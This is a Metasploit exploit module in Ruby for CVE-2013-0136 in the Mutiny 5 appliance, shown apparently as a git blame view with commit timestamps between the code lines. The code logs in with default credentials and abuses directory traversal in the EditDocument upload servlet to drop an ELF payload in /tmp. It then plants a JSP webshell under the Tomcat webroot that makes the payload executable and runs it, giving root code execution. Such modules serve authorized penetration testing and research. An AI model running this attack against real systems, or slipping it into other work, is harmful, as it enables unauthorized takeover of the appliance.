2013-05-15 14:02:25 +00:00
|
|
|
##
|
2017-07-24 13:26:21 +00:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2013-05-15 14:02:25 +00:00
|
|
|
##
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
2013-08-30 21:28:54 +00:00
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
|
|
|
HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
include Msf::Exploit::EXE
|
|
|
|
include Msf::Exploit::FileDropper
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Mutiny 5 Arbitrary File Upload',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a code execution flaw in the Mutiny 5 appliance. The
|
|
|
|
EditDocument servlet provides a file upload function to authenticated users. A
|
|
|
|
directory traversal vulnerability in the same functionality allows for arbitrary
|
|
|
|
file upload, which results in arbitrary code execution with root privileges. In
|
|
|
|
order to exploit the vulnerability a valid user (any role) in the web frontend is
|
|
|
|
required. The module has been tested successfully on the Mutiny 5.0-1.07 appliance.
|
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'juan vazquez' # Metasploit module and initial discovery
|
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2013-0136' ],
|
2016-07-15 17:00:31 +00:00
|
|
|
[ 'OSVDB', '93444' ],
|
2013-08-30 21:28:54 +00:00
|
|
|
[ 'US-CERT-VU', '701572' ],
|
|
|
|
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2013/05/15/new-1day-exploits-mutiny-vulnerabilities' ]
|
|
|
|
],
|
|
|
|
'Privileged' => true,
|
|
|
|
'Platform' => 'linux',
|
|
|
|
'Arch' => ARCH_X86,
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Mutiny 5.0-1.07 Appliance (Linux)', { } ]
|
|
|
|
],
|
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'DisclosureDate' => 'May 15 2013'))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(80),
|
|
|
|
OptString.new('TARGETURI', [true, 'Path to Mutiny Web Service', '/']),
|
|
|
|
OptString.new('USERNAME', [ true, 'The user to authenticate as', 'superadmin@mutiny.com' ]),
|
|
|
|
OptString.new('PASSWORD', [ true, 'The password to authenticate with', 'password' ])
|
2017-05-03 20:42:21 +00:00
|
|
|
])
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def upload_file(location, filename, contents)
|
|
|
|
post_data = Rex::MIME::Message.new
|
|
|
|
post_data.add_part(contents, "application/octet-stream", nil, "form-data; name=\"uploadFile\"; filename=\"#{filename}\"")
|
|
|
|
post_data.add_part("../../../..#{location}", nil, nil, "form-data; name=\"uploadPath\"")
|
|
|
|
|
|
|
|
data = post_data.to_s
|
|
|
|
|
|
|
|
res = send_request_cgi(
|
|
|
|
{
|
|
|
|
'uri' => normalize_uri(target_uri.path, "interface","EditDocument"),
|
|
|
|
'method' => 'POST',
|
|
|
|
'data' => data,
|
|
|
|
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
|
|
|
|
'cookie' => "JSESSIONID=#{@session}"
|
|
|
|
})
|
|
|
|
|
|
|
|
if res and res.code == 200 and res.body =~ /\{"success":true\}/
|
|
|
|
return true
|
|
|
|
else
|
|
|
|
return false
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def login
|
|
|
|
|
|
|
|
res = send_request_cgi(
|
|
|
|
{
|
|
|
|
'uri' => normalize_uri(target_uri.path, "interface", "index.do"),
|
|
|
|
'method' => 'GET'
|
|
|
|
})
|
|
|
|
|
2014-05-13 20:56:12 +00:00
|
|
|
if res and res.code == 200 and res.get_cookies =~ /JSESSIONID=(.*);/
|
2013-08-30 21:28:54 +00:00
|
|
|
first_session = $1
|
|
|
|
end
|
|
|
|
|
|
|
|
res = send_request_cgi(
|
|
|
|
{
|
|
|
|
'uri' => normalize_uri(target_uri.path, "interface", "j_security_check"),
|
|
|
|
'method' => 'POST',
|
|
|
|
'cookie' => "JSESSIONID=#{first_session}",
|
|
|
|
'vars_post' => {
|
|
|
|
'j_username' => datastore['USERNAME'],
|
|
|
|
'j_password' => datastore['PASSWORD']
|
|
|
|
}
|
|
|
|
})
|
|
|
|
|
|
|
|
if res.nil? or res.code != 302 or res.headers['Location'] !~ /interface\/index.do/
|
|
|
|
return false
|
|
|
|
end
|
|
|
|
|
|
|
|
res = send_request_cgi(
|
|
|
|
{
|
|
|
|
'uri' => normalize_uri(target_uri.path, "interface", "index.do"),
|
|
|
|
'method' => 'GET',
|
|
|
|
'cookie' => "JSESSIONID=#{first_session}"
|
|
|
|
})
|
|
|
|
|
2014-05-13 20:56:12 +00:00
|
|
|
if res and res.code == 200 and res.get_cookies =~ /JSESSIONID=(.*);/
|
2013-08-30 21:28:54 +00:00
|
|
|
@session = $1
|
|
|
|
return true
|
|
|
|
end
|
|
|
|
|
|
|
|
return false
|
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => normalize_uri(target_uri.path, "interface", "/"),
|
|
|
|
})
|
|
|
|
|
2014-01-23 17:00:28 +00:00
|
|
|
if res.nil?
|
|
|
|
vprint_error("Connection timed out")
|
|
|
|
return Exploit::CheckCode::Unknown
|
2014-01-24 23:56:47 +00:00
|
|
|
end
|
|
|
|
|
2014-01-23 17:00:28 +00:00
|
|
|
if res.body =~ /var currentMutinyVersion = "Version ([0-9\.-]*)/
|
2013-08-30 21:28:54 +00:00
|
|
|
version = $1
|
|
|
|
end
|
|
|
|
|
|
|
|
if version and version >= "5" and version <= "5.0-1.07"
|
2014-01-22 17:20:10 +00:00
|
|
|
return Exploit::CheckCode::Appears
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
2016-02-01 21:12:03 +00:00
|
|
|
print_status("Trying to login")
|
2013-08-30 21:28:54 +00:00
|
|
|
if login
|
2017-07-19 11:48:52 +00:00
|
|
|
print_good("Login Successful")
|
2013-08-30 21:28:54 +00:00
|
|
|
else
|
2013-12-03 18:58:16 +00:00
|
|
|
fail_with(Failure::NoAccess, "#{peer} - Login failed, review USERNAME and PASSWORD options")
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
exploit_native
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit_native
|
2016-02-01 21:12:03 +00:00
|
|
|
print_status("Uploading executable Payload file")
|
2013-08-30 21:28:54 +00:00
|
|
|
elf = payload.encoded_exe
|
|
|
|
elf_location = "/tmp"
|
|
|
|
elf_filename = "#{rand_text_alpha_lower(8)}.elf"
|
|
|
|
if upload_file(elf_location, elf_filename, elf)
|
|
|
|
register_files_for_cleanup("#{elf_location}/#{elf_filename}")
|
|
|
|
else
|
2013-12-03 18:58:16 +00:00
|
|
|
fail_with(Failure::Unknown, "#{peer} - Payload upload failed")
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
|
2016-02-01 21:12:03 +00:00
|
|
|
print_status("Uploading JSP to execute the payload")
|
2013-08-30 21:28:54 +00:00
|
|
|
jsp = jsp_execute_command("#{elf_location}/#{elf_filename}")
|
|
|
|
jsp_location = "/usr/jakarta/tomcat/webapps/ROOT/m"
|
|
|
|
jsp_filename = "#{rand_text_alpha_lower(8)}.jsp"
|
|
|
|
if upload_file(jsp_location, jsp_filename, jsp)
|
|
|
|
register_files_for_cleanup("#{jsp_location}/#{jsp_filename}")
|
|
|
|
else
|
2013-12-03 18:58:16 +00:00
|
|
|
fail_with(Failure::Unknown, "#{peer} - JSP upload failed")
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
|
2016-02-01 21:12:03 +00:00
|
|
|
print_status("Executing payload")
|
2013-08-30 21:28:54 +00:00
|
|
|
send_request_cgi(
|
|
|
|
{
|
|
|
|
'uri' => normalize_uri(target_uri.path, "m", jsp_filename),
|
|
|
|
'method' => 'GET'
|
|
|
|
})
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
def jsp_execute_command(command)
|
|
|
|
jspraw = %Q|<%@ page import="java.io.*" %>\n|
|
|
|
|
jspraw << %Q|<%\n|
|
|
|
|
jspraw << %Q|try {\n|
|
|
|
|
jspraw << %Q| Runtime.getRuntime().exec("chmod +x #{command}");\n|
|
|
|
|
jspraw << %Q|} catch (IOException ioe) { }\n|
|
|
|
|
jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n|
|
|
|
|
jspraw << %Q|%>\n|
|
|
|
|
|
|
|
|
jspraw
|
|
|
|
end
|
2013-05-15 14:02:25 +00:00
|
|
|
end
|